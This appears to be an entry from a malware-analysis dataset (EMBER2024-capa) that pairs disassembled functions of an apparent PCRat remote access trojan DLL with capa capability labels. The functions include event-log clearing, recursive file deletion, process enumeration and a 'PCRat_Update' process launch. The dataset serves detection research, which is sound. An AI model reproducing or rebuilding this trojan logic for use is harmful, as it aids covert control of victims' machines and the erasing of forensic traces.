joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005a20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], 9
mov eax, dword [ebp + 8]
add eax, 8
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
mov eax, dword [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x20], edx
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0xc]
sub eax, 8
mov dword [ebp - 0xc], eax
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
mov ecx, dword [ebp - 4]
add ecx, 0x20
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x24], eax
push 0
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x28], 0
push 0
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x34], 0x71
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x20], ecx
push 4
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x33]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x2f]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 9
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 4]
call fcn.1000bdc0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10006320
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push 0x10020e60
push 0x10020e50
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], eax
push 0x10020e3c
push 0x10020e50
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 4]
mov dword [edx + 0xc], eax
push str.OpenEventLogA
push 0x10020e50
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], eax
push 0x10020e18
push 0x10020e50
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 4]
mov dword [edx + 0x14], eax
push 0x10020e08
push 0x10020e50
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x18], eax
push 0x10020dfc
push 0x10020e50
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007130
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x494
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
push eax
push str._s.
lea ecx, [ebp - 0x248]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0xffffffff
jne 0x10007182
xor al, al
jmp 0x10007236
movsx ecx, byte [ebp - 0x118]
cmp ecx, 0x2e
je 0x100071f9
mov edx, dword [ebp - 0x144]
and edx, 0x10
test edx, edx
je 0x100071cc
lea eax, [ebp - 0x118]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x10020ed0
lea edx, [ebp - 0x350]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x350]
push eax
mov ecx, dword [ebp - 4]
call fcn.10007130
jmp 0x100071f9
lea ecx, [ebp - 0x118]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x10020ed0
lea eax, [ebp - 0x454]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x454]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10007182
mov ecx, dword [ebp - 0x24c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x10007234
xor al, al
jmp 0x10007236
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10007240
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0
push 0x104
push 0
mov eax, dword [ebp - 4]
add eax, 0x70
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x70
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push closesocket
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x100072a8
xor eax, eax
jmp 0x10007355
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0xa
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp - 0x1c]
mov byte [edx], 0x6a
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0xc]
mov dword [ecx], edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword [eax + 4], ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x1c]
add ecx, 9
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 4]
call fcn.1000bdc0
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10007360
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
add ecx, 0x70
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
cmp dword [edx + 4], 0xffffffff
jne 0x10007393
mov ecx, dword [ebp - 4]
call fcn.10007490
xor eax, eax
jmp 0x10007479
push 0
push 0x80
push 3
push 0
push 1
push closesocket
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x100073c0
or eax, 0xffffffff
jmp 0x10007479
push 0
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x18], 9
mov edx, 0x2000
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0
push 0x2000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov byte [eax], 0x6b
push 8
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x24]
add edx, 1
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x20], 0
jbe 0x10007464
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov ecx, dword [ebp - 4]
call fcn.1000bdc0
mov dword [ebp - 8], eax
jmp 0x1000746c
mov ecx, dword [ebp - 4]
call fcn.10007490
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10007630
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001e32d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4ac
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x258], 0
push 0x104
push 0
lea eax, [ebp - 0x254]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp + 8]
movsx eax, byte [edx + eax - 1]
cmp eax, 0x5c
je 0x10007697
mov dword [ebp - 0x258], 0x10020ee8
jmp 0x100076a1
mov dword [ebp - 0x258], 0x10020d74
mov ecx, dword [ebp - 0x258]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s_s.
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x150]
push ecx
lea edx, [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0xffffffff
jne 0x100076eb
xor al, al
jmp 0x100077d8
movsx eax, byte [ebp - 0x124]
cmp eax, 0x2e
je 0x100077ad
mov ecx, dword [ebp - 0x150]
and ecx, 0x10
test ecx, ecx
je 0x10007740
lea edx, [ebp - 0x124]
push edx
mov eax, dword [ebp - 0x258]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_s_s
lea edx, [ebp - 0x360]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x360]
push eax
mov ecx, dword [ebp - 0x10]
call fcn.10007630
jmp 0x100077ad
lea ecx, [ebp - 0x124]
push ecx
mov edx, dword [ebp - 0x258]
push edx
mov eax, dword [ebp + 8]
push eax
push str._s_s_s
lea ecx, [ebp - 0x464]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x478]
push edx
lea eax, [ebp - 0x464]
push eax
lea ecx, [ebp - 0x474]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x474]
push ecx
mov ecx, dword [ebp - 0x10]
add ecx, 0x60
call fcn.10005bf0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x474]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea edx, [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100076eb
mov ecx, dword [ebp - 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10007ae0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], 9
mov eax, dword [ebp + 8]
add eax, 8
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
mov eax, dword [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp + 0xc]
sub eax, 8
mov dword [ebp - 0xc], eax
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
mov ecx, dword [ebp - 4]
add ecx, 0x70
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x24], eax
push 0
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x28], 0
push 0
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x34], 0x71
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x20], ecx
push 4
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x33]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 4
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x2f]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 9
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 4]
call fcn.1000bdc0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10007c90
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
push 0
push 0x10020d74
mov eax, dword [ebp + 8]
push eax
push str.WinRar
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10007f30
Capabilities:
Enumerate process modules
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x138], 0
mov ecx, 0x49
xor eax, eax
lea edi, [ebp - 0x134]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x240], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x23f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x250], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x10007fc5
jmp 0x100080bb
mov dword [ebp - 0x138], 0x128
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x100080b1
mov edx, dword [ebp - 0x130]
push edx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x130], 0
je 0x10008099
cmp dword [ebp - 0x130], 4
je 0x10008099
cmp dword [ebp - 0x130], 8
je 0x10008099
lea eax, [ebp - 0x13c]
push eax
push 4
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call sub.PSAPI.DLL_EnumProcessModules
push 0x104
lea eax, [ebp - 0x240]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call sub.PSAPI.DLL_GetModuleFileNameExA
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
lea ecx, [ebp - 0x114]
push ecx
mov edx, dword [ebp - 0x250]
imul edx, edx, 0x64
mov eax, dword [ebp + 8]
add eax, edx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 0x250]
add ecx, 1
mov dword [ebp - 0x250], ecx
cmp dword [ebp - 0x250], 0x63
jl 0x10008099
jmp 0x100080b1
lea edx, [ebp - 0x138]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10007fe7
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10008550
Capabilities:
Delete file
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push 0x10020f54
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 4], 0
jmp 0x10008580
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0xa
jge 0x100085a3
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x100085a1
jmp 0x100085a3
jmp 0x10008577
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009850
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push 0x2f
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10009885
xor al, al
jmp 0x10009953
push 0x104
push 0
lea ecx, [ebp - 0x108]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x108]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x10020ee8
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x108]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.10016220
add esp, 8
and eax, 0xff
test eax, eax
jne 0x100098f4
xor al, al
jmp 0x10009953
mov dword [ebp - 0x14c], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x148]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x14c], 0x44
mov dword [ebp - 0x144], str.WinSta0Default
lea edx, [ebp - 0x15c]
push edx
lea eax, [ebp - 0x14c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push str.PCRat_Update
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009960
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f8
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
test eax, eax
jne 0x10009983
xor al, al
jmp 0x10009acf
mov dword [ebp - 4], str.Applicationsiexplore.exe_shellopencommand
mov dword [ebp - 0x110], 0x104
mov dword [ebp - 0x114], 0
push 0x104
push 0
lea ecx, [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 8]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 4]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x100099d9
xor al, al
jmp 0x10009acf
lea ecx, [ebp - 0x110]
push ecx
lea edx, [ebp - 0x10c]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea ecx, [ebp - 0x164]
call fcn.10006320
mov ecx, dword [ebp - 8]
push ecx
call dword [ebp - 0x130]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x10009a20
xor al, al
jmp 0x10009acf
push 0x10020ea0
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jne 0x10009a4b
xor al, al
jmp 0x10009acf
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x1a8], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x1a4]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x1a8], 0x44
cmp dword [ebp + 0xc], 0
je 0x10009a91
mov dword [ebp - 0x1a0], str.WinSta0Default
jmp 0x10009aa4
mov dword [ebp - 0x17c], 1
mov word [ebp - 0x178], 0
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x1a8]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009ae0
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push edi
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
lea ecx, [ebp - 0x5c]
call fcn.10006320
mov dword [ebp - 0x60], 0
jmp 0x10009b1b
mov eax, dword [ebp - 0x60]
add eax, 1
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 3
jae 0x10009b51
mov ecx, dword [ebp - 0x60]
mov edx, dword [ebp + ecx*4 - 0xc]
push edx
push 0
call dword [ebp - 0x4c]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jne 0x10009b39
jmp 0x10009b12
push 0
mov eax, dword [ebp - 0x64]
push eax
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov ecx, dword [ebp - 0x64]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
jmp 0x10009b12
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009b60
Capabilities:
Check if file exists
Get file attributes
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
push edi
push 0x104
push 0
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x104]
push ecx
mov edx, dword [0x10026d44]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x108], 0x64
push 0x104
push 0
lea eax, [ebp - 0x20c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
push str._s_lang.ini
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10009bf4
push 0x10021080
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0x20c]
push ecx
mov edx, dword [ebp + 8]
push edx
push str.Remark
push str.user
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009c20
Capabilities:
Check if file exists
Get file attributes
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
push edi
push 0x104
push 0
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x104]
push ecx
mov edx, dword [0x10026d44]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x108], 0x64
push 0x104
push 0
lea eax, [ebp - 0x20c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
push str._s_lang.ini
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10009cc1
push 0x10021080
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea edx, [ebp - 0x20c]
push edx
mov eax, dword [ebp + 0xc]
push eax
push str.name
push str.user
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret